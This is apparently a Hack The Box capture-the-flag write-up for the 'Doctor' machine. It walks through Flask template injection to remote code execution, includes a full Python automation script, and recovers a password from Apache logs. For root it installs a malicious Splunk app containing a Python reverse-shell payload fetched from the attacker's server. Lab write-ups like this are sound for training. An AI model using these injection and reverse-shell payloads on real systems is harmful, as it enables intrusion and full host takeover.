Hack The Box - Doctor Writeup
Hack The Box - Doctor
Enumeration
Add doctor.htb
to hosts
and start an nmap
scan.
Nmap
Nmap scan report for doctor.htb (10.10.10.209)
Host is up, received user-set (0.22s latency).
Scanned at 2020-10-01 20:29:09 IST for 63s
Not shown: 997 filtered ports
Reason: 997 no-responses
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp open http syn-ack Apache httpd 2.4.41 ((Ubuntu))
| http-methods:
|_ Supported Methods: GET POST OPTIONS HEAD
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Doctor
8089/tcp open ssl/http syn-ack Splunkd httpd
| http-methods:
|_ Supported Methods: GET HEAD OPTIONS
| http-robots.txt: 1 disallowed entry
|_/
|_http-server-header: Splunkd
|_http-title: splunkd
| ssl-cert: Subject: commonName=SplunkServerDefaultCert/organizationName=SplunkUser
| Issuer: commonName=SplunkCommonCA/organizationName=Splunk/stateOrProvinceName=CA/countryName=US/emailAddress=support@splunk.com/localityName=San Francisco
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2020-09-06T15:57:27
| Not valid after: 2023-09-06T15:57:27
| MD5: db23 4e5c 546d 8895 0f5f 8f42 5e90 6787
| SHA-1: 7ec9 1bb7 343f f7f6 bdd7 d015 d720 6f6f 19e2 098b
| -----BEGIN CERTIFICATE-----
| MIIDMjCCAhoCCQC3IKogA4zEAzANBgkqhkiG9w0BAQsFADB/MQswCQYDVQQGEwJV
| UzELMAkGA1UECAwCQ0ExFjAUBgNVBAcMDVNhbiBGcmFuY2lzY28xDzANBgNVBAoM
| BlNwbHVuazEXMBUGA1UEAwwOU3BsdW5rQ29tbW9uQ0ExITAfBgkqhkiG9w0BCQEW
| EnN1cHBvcnRAc3BsdW5rLmNvbTAeFw0yMDA5MDYxNTU3MjdaFw0yMzA5MDYxNTU3
| MjdaMDcxIDAeBgNVBAMMF1NwbHVua1NlcnZlckRlZmF1bHRDZXJ0MRMwEQYDVQQK
| DApTcGx1bmtVc2VyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA0JgJ
| NKrC4SrGzEhhyluUIcBW+eD6y+4paEikip5bzO7Xz8+tVJmFBcDfZdkL3TIZFTCF
| 95BMqL4If1SNZlFQxpMZB/9PzCMm0HmhEK/FlHfdrLwaeK71SWeO/MMNtsAheIPA
| pNByri9icp2S9u7wg89g9uHK4ION8uTJMxbmtCRT4jgRcenOZYghvsTEMLPhwlb2
| M/59WRopfyakIEl/w/zF1jCfnrT6XfZtTos6ueet6lhjd8g5WW9ZJIfmjYDaqHPg
| Tg3yLCRjYhLk+2vLyrO23l5kk8H+H4JgIOCqhAw38hC0r+KETsuWCGIxl4rBBDQw
| E5TvP75NsGW2O3JNDQIDAQABMA0GCSqGSIb3DQEBCwUAA4IBAQBJjjx+KHFwYJei
| lMJlmXBOEs7V1KiAjCenWd0Bz49Bkbik/5Rcia9k44zhANE7pJWNN6gpGJBn7b7D
| rliSOwvVoBICHtWFuQls8bRbMn5Kfdd9G7tGEkKGdvn3jOFkQFSQQQ56Uzh7Lezj
| hjtQ1p1Sg2Vq3lJm70ziOlRa0i/Lk7Ydc3xJ478cjB9nlb15jXmSdZcrCqgsAjBz
| IIDPzC+f7hJYlnFau2OA5uWPX/HIR7JfQsKXWCM6Tx0b9tZKgNNOr+DwyML4CH6o
| qrryh7elUJojAaZ0wYNd5koGZzEH4ymAQoshgFyEgetm1BbzMbA3PfZkX1VR6AV+
| guO5oa9R
|_-----END CERTIFICATE-----
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Oct 1 20:30:12 2020 -- 1 IP address (1 host up) scanned in 64.48 seconds
We have ssh
, a web application on port 80
and a splunk service running on port 8089
.
After looking around for quite some time, I couldn’t really find anything useful.
- I couldn’t find anything in
ssh
. - I ran directory busting, vhost enumeration and all other kinds of enumeration against port
80
, but nothing. All that looked suspicious was an youtube link. - Port
8089
is runningslunk
atom feed. This is like a stripped down API kind of thing that can only be used for minimal interaction. The useful stuff seems to be password protected and nothing seems to work against it. I even tried bruteforce withrockyou.txt
but it did not budge. If we try connecting usingcurl
with default credentialsadmin:changeme
, we get an error saying that remote access is disabled for default password. This might be useful later when we get access.
kali@kali:~/Desktop/htb/doctor/doctors$ curl -k https://doctor.htb:8089/services/auth/login --data-urlencode username=admin --data-urlencode password=changeme
<?xml version="1.0" encoding="UTF-8"?>
<response>
<messages>
<msg type="WARN">Remote login has been disabled for 'admin' with the default password. Either set the password, or override by changing the 'allowRemoteLogin' setting in your server.conf file.</msg>
</messages>
</response>
After looking at some hints, I found something peculiar in the web application on port 80.
<div>
<span>Send us a message</span>
<strong>info@doctors.htb</strong>
</div>
The domain in the email is doctors.htb
not doctor.htb
. This might be a different vhost. Add a new entry for doctors.htb
in hosts file and browse to doctors.htb
We get a login page for doctor messaging system. First, I tried out the classic injections to see if I can bypass the login. But nothing happened. Then i registered a user and logged in.
There are options to post messages and check account details. Looking at the source code, we see a comment.
<!--archive still under beta testing<a class="nav-item nav-link" href="/archive">Archive</a>-->
Looks like there is some functionality that is still in testing.
Checking the page source of /archive
, we can see that our post headings have been reflected in the page.
The site is running flask and the image of the box pointed at a possibility of SSTI injection. We can try one out using a simple payload {{7 * '7'}}
. If this works we will see 7777777
in archive page.
Low Shell
So we have SSTI injection and we can add more payloads to get an RCE.
SSTI to RCE
We have few challenges before trying out payloads.
- If our payload causes an error, the message has to be deleted to check other payloads
- The created user gets deleted after around 20 minutes, which was frustrating.
To make things easier, I created a script that will
- Create a new user and login
- Ask for a payload from the user
- Create a message using the payload as the title
- Get the output from the archive page
- Delete the post
After trying out various payload, I found that the following can be used to running arbitrary code on the system.
f"config.__class__.__init__.__globals__['os'].popen('{cmd}').read()"
This will execute the command and post the output. I tweaked the script to include the RCE.
import requests
import random
import re
import html
def create_user():
url = "http://doctors.htb/register"
username = f"test{random.randint(0,1000)}"
email = f"test{random.randint(0,1000)}@test.com"
password = "test"
data = {'username':username, 'email':email, 'password':password,'confirm_password':password, 'submit':'Sign Up'}
s = requests.Session()
print(f"[+]Creating user {username} {email}")
res = s.post(url=url, data=data)
if b'Your account has been created' in res.content:
print("[+]user created")
else:
print("[-]User creation failed")
print(f"[*]DEBUG {res.content}{res}")
return username, email
def login(user, email):
url = "http://doctors.htb/login"
data = {'email':email,'password':'test', 'submit':'Login'}
s = requests.Session()
print(f"[+]Logging in as user {user}")
res = s.post(url=url, data=data)
if b'New Message' in res.content:
print(f"[+]User {user} logged in ")
else:
print("[-]Login failed")
print(f"[*]DEBUG {res.content}{res}")
return ""
return s
def execute_py(s, cmd, rce=0):
randvalue = "{{"+str(random.randint(0,100000))+"}}"
if rce:
cmd = randvalue + "{{" + f"config.__class__.__init__.__globals__['os'].popen('{cmd}').read()" + "}}" + randvalue
else:
cmd = randvalue + "{{" + cmd + "}}" + randvalue
url = "http://doctors.htb/post/new"
data = {'title':cmd, 'content':'test', 'submit':'Post'}
res = s.post(url=url, data=data)
if b'Your post has been created!' in res.content:
print('[+]Payload post added')
else:
print('[-]Failed to add payload post')
print(f"[*]DEBUG {res.content}{res}")
return "", ""
return s, randvalue[2:-2]
def delete_post(s):
res = s.get("http://doctors.htb/home")
try:
post = re.findall('<h2><a class="article-title" href="(.*)">',res.content.decode())[0].split('/')[-1]
url = f"http://doctors.htb/post/{post}/delete"
res = s.post(url=url)
if b'Your post has been deleted!' in res.content:
print("[+]Post deleted")
else:
print("[-]Failed to delete post")
print(f"[*]DEBUG {res.content}{res}")
except Exception as e:
print("[-]Err. Failed to delete post")
print(f"[*]DEBUG {e}")
print(f"[*]DEBUG {post}")
def fetch_result(s, sep):
url = "http://doctors.htb/archive"
res = s.get(url=url)
if b'Something went wrong' in res.content:
print('500 - payload failed')
else:
output = res.content.decode().split(sep)[1]
print(f'{"-"*30}\n{html.unescape(output)}\n{"-"*30}')
def check_session(s):
try:
url = "http://doctors.htb/home"
res = s.get(url=url)
if b'New Message' in res.content:
return True
else:
return False
except:
return False
user, email = create_user()
s = login(user, email)
cmd = ""
mode = 0
while True:
if not s or not check_session(s) or cmd == "restart":
try:
print("[-]User account expired")
cmd = ""
user, email = create_user()
s = login(user, email)
except:
print("[-]Errr")
continue
else:
try:
cmd = input(">")
if cmd == "restart":
continue
if cmd == "exit":
break
if cmd == "rce":
print("[+]RCE mode enabled")
mode = 1
continue
if cmd == "python":
print("[-]RCE mode disabled")
mode = 0
continue
s, sep = execute_py(s, cmd, mode)
if s:
fetch_result(s,sep)
delete_post(s)
except:
print('[-]Errrrr')
continue
Now we can execute a reverse shell payload.
And we have a shell.
User Shell
Running linpeas
shows us some interesting info in apache log files
/var/log/apache2/backup:10.10.14.4 - - [05/Sep/2020:11:17:34 +2000] "POST /reset_password?email=Guitar123" 500 453 "http://doctor.htb/reset_password"
/var/log/auth.log.1:Sep 22 13:01:23 doctor sshd[1704]: Failed password for invalid user shaun from 10.10.14.2 port 40896 ssh2
/var/log/auth.log.1:Sep 22 13:01:28 doctor sshd[1704]: Failed password for invalid user shaun from 10.10.14.2 port 40896 ssh2
There was a password reset for user shaun. We can try changing to user shaun
using those creds.
web@doctor:~$ su shaun
su shaun
Password: Guitar123
id
uid=1002(shaun) gid=1002(shaun) groups=1002(shaun)
Root Shell
We have splunk running on port 8089
as root. We were not able to login to splunk earlier with default creds. We can try again with shauns creds.
We can request a session key using the creds.
kali@kali:~/Desktop/htb/doctor/doctors$ curl -k https://doctor.htb:8089/services/auth/login --data-urlencode username=shaun --data-urlencode password=Guitar123
<response>
<sessionKey>R9IIxXf8w7qWM_MaLolt4RDDCRaNMwT4BTSSoxoiwz_N8folTQ7ORHIGurlp2Dsgf7cozKS4E32^bwFP84ctk6jNjhyEos5F_7G0nHwa</sessionKey>
<messages>
<msg code=""></msg>
</messages>
</response>
We do get a reply back, which mean we have valid creds.
This blog gives a detailed writeup on how to pop a shell on splunk by adding a python app.
-
Create a file structure as below
pentest_app/ ./bin ./default
-
Add a file to
bin
directory with a reverse payloadimport sys,socket,os,pty ip="0.0.0.0" port="12345" s=socket.socket() s.connect((ip,int(port))) [os.dup2(s.fileno(),fd) for fd in (0,1,2)] pty.spawn('/bin/bash')
-
Create a file
inputs.conf
and place it in the ./default with following contents. This will trigger the payload every 10 seconds.[script://./bin/reverse_shell.py] disabled = 0 interval = 10 sourcetype = pentest
- Zip the file.
tar -cvzf rev1.tar.gz ./splunk
-
Serve the zip file from a python server. Upload the file to splunk using curl and
shauns
creds. The documentation for this can be found here. Mention the tar file url as the name.kali@kali:~/Desktop/htb/doctor$ curl -k -u shaun:Guitar123 https://doctor.htb:8089/services/apps/local -d "filename=true&name=http://10.10.14.27:8000/rev1.tar.gz" <?xml version="1.0" encoding="UTF-8"?> <!--This is to override browser formatting; see server.conf[httpServer] to disable. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .--> <?xml-stylesheet type="text/xml" href="/static/atom.xsl"?> <feed xmlns="http://www.w3.org/2005/Atom" xmlns:s="http://dev.splunk.com/ns/rest" xmlns:opensearch="http://a9.com/-/spec/opensearch/1.1/"> <title>localapps</title> <id>https://doctor.htb:8089/services/apps/local</id> <updated>2020-11-01T08:21:18+01:00</updated> <generator build="a1a6394cc5ae" version="8.0.5"/> <author> <name>Splunk</name> </author> <link href="/services/apps/local/_new" rel="create"/> <link href="/services/apps/local/_reload" rel="_reload"/> <opensearch:totalResults>1</opensearch:totalResults> <opensearch:itemsPerPage>30</opensearch:itemsPerPage> <opensearch:startIndex>0</opensearch:startIndex> <s:messages/> <entry> <title>splunk</title> <id>https://doctor.htb:8089/servicesNS/nobody/system/apps/local/splunk</id> <updated>1970-01-01T01:00:00+01:00</updated> <link href="/servicesNS/nobody/system/apps/local/splunk" rel="alternate"/> <author> <name>nobody</name> </author> <link href="/servicesNS/nobody/system/apps/local/splunk" rel="list"/> <link href="/servicesNS/nobody/system/apps/local/splunk/_reload" rel="_reload"/> <link href="/servicesNS/nobody/system/apps/local/splunk" rel="edit"/> <link href="/servicesNS/nobody/system/apps/local/splunk" rel="remove"/> <link href="/servicesNS/nobody/system/apps/local/splunk/package" rel="package"/> <content type="text/xml"> <s:dict> <s:key name="check_for_updates">1</s:key> <s:key name="configured">0</s:key> <s:key name="core">0</s:key> <s:key name="disabled">0</s:key> <s:key name="eai:acl"> <s:dict> <s:key name="app">system</s:key> <s:key name="can_change_perms">1</s:key> <s:key name="can_list">1</s:key> <s:key name="can_share_app">1</s:key> <s:key name="can_share_global">1</s:key> <s:key name="can_share_user">0</s:key> <s:key name="can_write">1</s:key> <s:key name="modifiable">1</s:key> <s:key name="owner">nobody</s:key> <s:key name="perms"> <s:dict> <s:key name="read"> <s:list> <s:item>*</s:item> </s:list> </s:key> <s:key name="write"> <s:list> <s:item>*</s:item> </s:list> </s:key> </s:dict> </s:key> <s:key name="removable">0</s:key> <s:key name="sharing">app</s:key> </s:dict> </s:key> <s:key name="install_source_checksum">dea0008a0d34b948ffd5a42534517c06f95b69af</s:key> <s:key name="label">splunk</s:key> <s:key name="location">/opt/splunkforwarder/etc/apps/splunk</s:key> <s:key name="managed_by_deployment_client">0</s:key> <s:key name="name">splunk</s:key> <s:key name="show_in_nav">1</s:key> <s:key name="source_location">/opt/splunkforwarder/etc/apps/splunk</s:key> <s:key name="state_change_requires_restart">0</s:key> <s:key name="status">installed</s:key> <s:key name="visible">0</s:key> </s:dict> </content> </entry> </feed>
- Start a nc listner to catch the shell.
kali@kali:~/Desktop/htb/doctor/$ nc -nlvp 9997 listening on [any] 9997 ... connect to [10.10.14.27] from (UNKNOWN) [10.10.10.209] 43842 root@doctor:/# id id uid=0(root) gid=0(root) groups=0(root)
And we are root!!